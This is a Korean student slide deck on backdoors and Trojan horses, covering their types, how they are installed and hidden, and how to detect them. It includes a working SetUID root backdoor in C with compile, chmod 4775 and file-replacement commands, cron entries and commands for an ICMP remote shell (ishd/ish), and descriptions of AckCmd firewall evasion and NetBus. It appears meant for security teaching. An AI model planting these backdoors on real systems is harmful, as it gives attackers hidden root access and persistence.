560 likes | 937 Views
BackDoor. 컴퓨터공학과 20012073 이 성 수. 학 습 목 표. BackDoor 와 Trojan Horse 이해 BackDoor 의 종류 BackDoor 설치 / 탐지 / 제거 보안 대책. BackDoor. 1983 년 Ken Thompson 이 최초로 사용한 용어
E N D
BackDoor 컴퓨터공학과 20012073 이 성 수
학 습 목 표 • BackDoor와 Trojan Horse 이해 • BackDoor의 종류 • BackDoor 설치/ 탐지/ 제거 • 보안 대책
BackDoor • 1983년 Ken Thompson이 최초로 사용한 용어 • 시스템 관리자나 개발자에 의해 의도적으로 남겨진 시스템의 보안 허점으로 정상적인 절차를 우회하여 시스템에 출입할 수 있도록 임시로 만들어둔 비밀 출입문. 트랩도어(trap door), administrative hook이라 부름. • 보안상 허점을 역이용하여 크래커들이 시스템에 침입한 후 자신이 원할 때 재침입하거나, 권한 획득을 쉽게 하기 위하여 만들어 놓은 일종의 비밀 통로를 의미.
BackDoor 특징 • 시스템 관리자의 보안 관리를 우회 • 패스워드 갱신 등의 조치에도 무관 • 발견되지 않고 시스템으로 침입가능 • 로그를 남기지 않고 침입 • 시스템 침입 시간이 짧음
트로이목마(Trojan Horse) • 고대 그리스군이 트로이군에게 위장 전술을 사용 하기 위해 만든 목마 • 비 인가된 사용자의 불법침입용. • 호감이 가는 유용한 프로그램으로 가장하고, 실제적으로는 악의적인 프로그램이나 코드를 포함하고 있는 프로그램 • 정상적인 동작을 하는 것으로 보이거나 사용자가 쓰는 프로그램 등으로 사용자를 현혹시킴으로써 특권을 획득
트로이 목마 특징 • 네트워크를 통한 원격 조정 가능. • 자기 복제 능력 없음. • 사용자 정보를 몰래 빼냄. • 최신 백신 프로그램으로 진단/치료 가능
BackDoor와 Trojan Horse 차이 • 트로이 목마 • 특정 사용자 또는 프로그램이 실행에 의한 수동적인 방법에 의존한 것, 이는 사용자의 직간접적인 도움을 통해서 설치되거나 Bind되어진 프로그램이 실행되어 설치. • 백도어 • 프로그래머나 크래커가 능동적으로 만든 것. 예전에는 관리의 목적으로 사용하기도 하였으나, 대부분 크래커들에 의해 권한이 획득된 후, 해당시스템에 추후 접속을 용이하게 하기 위하여 서비스 데몬 등을 수정하여 사용.
BackDoor의 종류 • 로컬 백도어 • 원격 백도어 • 원격 GUI 백도어 • 패스워드 크래킹 백도어 • 시스템 설정 변경 백도어 • 트로이 목마 형태의 프로그램 • 거짓 업그래이드 • 기타
로컬 백도어 • 서버의 셸을 얻어낸 뒤 관리자로 권한 상승을 할 때 사용하는 백도어. • 트랩 도어 역시 로컬 백도어 • 시스템 로그인한 뒤 관리자로 권한을 상승 시키기 위한 백도어로 공격자는 일반 계정이 하나 필요
SetUID형 로컬 백도어 • backdoor.c #include <stdio.h> main (int argc, char *argv[]){ char exec[100]; setuid (0); setgid (0); sprintf (exec, "%s 2>/dev/null ", argv[1]); system (exec); } system(“/bin/sh”);
원격 백도어 • 원격에서 관리자로 계정과 패스워드를 입력하고 로그인한 것처럼 바로 시스템의 관리자 계정을 사용할 수 있는 백도어. • 네트워크에 자신의 포트를 항상 열어놓는 경우가 많음. 일종의 서비스를 제공하는 데몬처럼 동작하는 것임. • 프로토콜의 변형된 형태를 이용하는 발전된 형태의 백도어는 TCP, UDP, ICMP 프로토콜 중 아주 일부분을 효과적으로 이용
원격 GUI 백도어 • 백도어 크기가 크고, 많은 데이터를 전송해 노출이 쉬움. • 주로 원격 관리용 툴인 경우가 많음. • 약용될 소지는 있음.
패스워드 크래킹 백도어 • 인증 회피 백도어 아님. • 원격지 공격자에게 인증에 필요한 패스워드를 보내줌. • 키보드를 누르는 정보를 전송 • Passwd와 같은 특정 문자열 뒤의 값을 전송 • 유닉스의 경우 passwd파일의 정보를 전송
시스템 설정 변경 백도어 • 해커가 원하는 대로 시스템의 설정을 변경 • 유닉스 프로그램 스케줄러로 사용되는 cron 데몬을 이용.
시스템 설정 변경 백도어 vi /etc/crontab • Cron데몬 0 4 * * * ./ishd –i 65000 0 5 * * * pkill –U root ishd 17 * * * * root run-parts --report /etc/cron_hourly
트로이 목마 형태의 프로그램 • 백도어 목적으로 만들어진 프로그램이 아닌데도 백도어로 동작하는 경우. • 응용 프로그램에 섞여 있어 원래 목적의 프로그램이 정상적으로 실행되면 동시에 백도어도 설치됨.
거짓 업그래이드 • 시스템을 패치/업그레이드 할 때 잘못된 파일을 설치하는 경우. • 원하지 않은 업그레이드를 강제로 하는 경우. • 성인 사이트 접속 시 사용자의 시스템이 통제 할 수 없는 상태에서 여러 가지 프로그램이 설치 되는 경우
기타(etc.,) • 프로세스 은닉 백도어 • 부트 블록 백도어 • 커널 백도어 • 서비스 백도어 • 라이브러리 백도어 • 파일 시스템 백도어
BackDoor의 은닉 • 윈도우 • Joiner 프로그램을 이용하여 기존의 프로그램 파일과 BackDoor를 혼합하여 만듬. • 유닉스(리눅스) • 정상적인 파일에 others에 실행 권한이 있는 파일을 찾아 바꿔 치기 함.
Trojan Horse 프로그램 • 인터넷 익스플로러(IE) 거짓 업그레이드 • 메일 첨부파일 Ie0199.exe라는 파일. • TCP Wrappers • 1999/01/21일 이후 배포된tcp_wrappers_7.6.tar.gz파일에 포함. • Util-linux • 1999/01/22 ~ 24일 사이에 배포한 것 중 일부 util-linux-2g.tar.gz파일에 포함.
BackDoor 프로그램(리눅스) • Rootkit • Backdoor와 Trojan Horse 프로그램 패키지. • 1998년 11월 기능이 보강된 리눅스용 Rootkit 4 발표. • 원격접근, 내부 사용흔적 제거, 관리자 권한 획득 등.
BackDoor 프로그램(윈도우) • VNC (Virtual Network Computing) • 원격 관리 프로그램 • 접속 패스워드 설정 가능 • 툴 자체의 취약점이 있어 패스워드 노출가능
BackDoor 프로그램 (윈도우) • AckCmd • 세션 성립 없이 통신 • 방화벽에서 ACK패킷에 대한 어떠한 체크도 하지 않는 점을 이용하여 방화벽 우회 • 방화벽이나 운영체제의 연결 기록 남지 않음. • 기존에 사용중인 포트 이용(예 80(http)) • AckCmdS.exe - 서버 • AckCmdC.exe - 클라이언트
TCP 3-way handshaking 서버 클라이언트 Syn Syn + Ack Ack 모든 과정이 성공적으로 끝나야 세션이 이루어지고 서버와 클라이언트가 통신을 하게 됨
AckCmd 공격 방식 공격대상 서버 클라이언트 Ack Ack 출발지포트 : 공격자 시스템의 80번 포트 목적지포트 : 임의의 포트(1020) Ack 출발지포트 : 임의의 포트(1020) 목적지포트 : 공격자 시스템의 80번 포트 Ack 공격자
VNC 설치 < Download > http://www.realvnc.com/cgi-bin/download.cgi
VNC 서버주소 VNC 서버 접속 (웹브라우저)
NetBus • Host name /IP : 접속할 타겟 시스템의 IP 주소를 입력 • Port : 타겟 시스템의 포트 번호를 입력 • Start program : 실행하고자 하는 프로그램의 절대경로를 입력 • Screendump : 서버 시스템의 현재 화면을 캡처 • Active Wnds : 현재 사용중인 프로세스를 보고, Kill 할 수 있다 • Listen : 타겟 시스템의 키 스트로크를 저장 • Server setup : 서버의 설정을 바꿔서 아무나 접속하지 못하게 한다 • File manager : 서버내의 파일 열람 , 다운로드, 업로드, 삭제가 가능 • Open CD-ROM : 서버의 시디롬을 여닫을 수 있다. • Swap mouse : 마우스의 오른족 버튼과 왼쪽 버튼의 기능을 바꾼다 • Exit Windows : 서버를 리부팅, 로그아웃, 끌 수 있다. • Sound system : 서버의 볼륨을 조절할 수 있고, 녹음도 할 수 있다. • Control mouse : 클라이언트 측의 마우스포인터가 움직이는 대로 서버 의 마우스를 조정한다. • Go to URL : 특정 사이트의 URL을 열어준다 • Key manager : 서버의 키보드 관련 사항을 열어준다.
리눅스 BackDoor • 로컬 백도어 - SetUID형 #include <stdio.h> main (int argc, char *argv[]){ char exec[100]; setuid (0); setgid (0); sprintf (exec, "%s 2>/dev/null ", argv[1]); system (exec); } gcc –o backdoor backdoor.c chmod 4775 backdoor
리눅스 BackDoor • 로컬 백도어 - SetUID형 설치 • SetUID가 주어진 정상적인 파일과 교체 • find / -perm 4775 • 교체할 파일의 인자 값 없이 실행 시 출력형태를 BackDoor에 추가. • 파일을 교체함. • cp ./backdoor /usr/bin/usernetctl
리눅스 BackDoor • 로컬 백도어 - SetUID
리눅스 BackDoor • ICMP 원격 셸 백도어 • 많은 침입차단시스템들이 외부로부터 내부 시스템에 대한 ping을 허락함. • 침입자는 ping ICMP 패킷에 데이터를 추가하여 ping을 하고 있는 시스템과 셸을 제공받을 수 있도록 함. • 시스템 관리자는 다량의 ping 패킷들을 발견하겠지만 패킷 속의 데이터를 보지 않는 이상 침입 사실을 알 수 없음.
리눅스 BackDoor • ICMP 원격 셸 백도어 make linux ICMP 서버 구동 ./ishd –i 65000 –t 0 –p 1024
리눅스 BackDoor • ICMP 원격 셸 백도어 ICMP 클라이언트를 이용한 접속 ./ish –i 65000 –t 0 –p 1024 192.168.68.2
BackDoor 탐지 / 대책 • 현재 동작중인 프로세스 확인 • 정상적인 프로세스를 미리 파악. • 윈도우/유닉스의 기본적인 프로세스 암기 • 열린 포트 확인
BackDoor 탐지 / 대책 • SetUID • 윈도우 시스템은 해당 없음 • 유닉스(리눅스) 시스템에서는 로컬 백도어로 강력한 기능을 함. 주기적으로 추가/변경 사항을 체크해야 함. • 바이러스 및 백도어 탐지 툴 이용 • 가장 편리한 방법 • 윈도우용 탐지 툴은 많으나 유닉스용은 많이 없어 수동으로 해야 함.
BackDoor 탐지 / 대책 • 무결성 검사 • 시스템에 어떤 변화가 일어나는지 테스트. • MD5 해시 기법 많이 사용. • 주기적으로 주요 파일의 MD5값을 수집하여 관리자의 변경이나 시스템 운영상 변경이 아닌 변경이 있는지를 체크함. • 로그 분석 • 시스템에 남아 있는 흔적을 분석. • 다양한 로그 분석 방법이 있어 Cyber Forensic 이라는 하나의 분야로 정착.
BackDoor 탐지 실습 C:\at>pslist • 프로세스 확인
BackDoor 탐지 실습 C:\at>netstat -na • 열린 포트 확인 • 12345 : NetBus port
BackDoor 탐지 실습 C:\at>fport • 열린 포트 확인 • 각 port별 응용프로그램 확인 가능
BackDoor 탐지 실습 C:\at>promiscdetect • 열린 포트 확인
BackDoor 탐지 실습 C:\at>promiscdetect • 열린 포트 확인 스니퍼가 설치되어 있을 경우 Promiscuous 모드로 변경되어 있을 수 있다.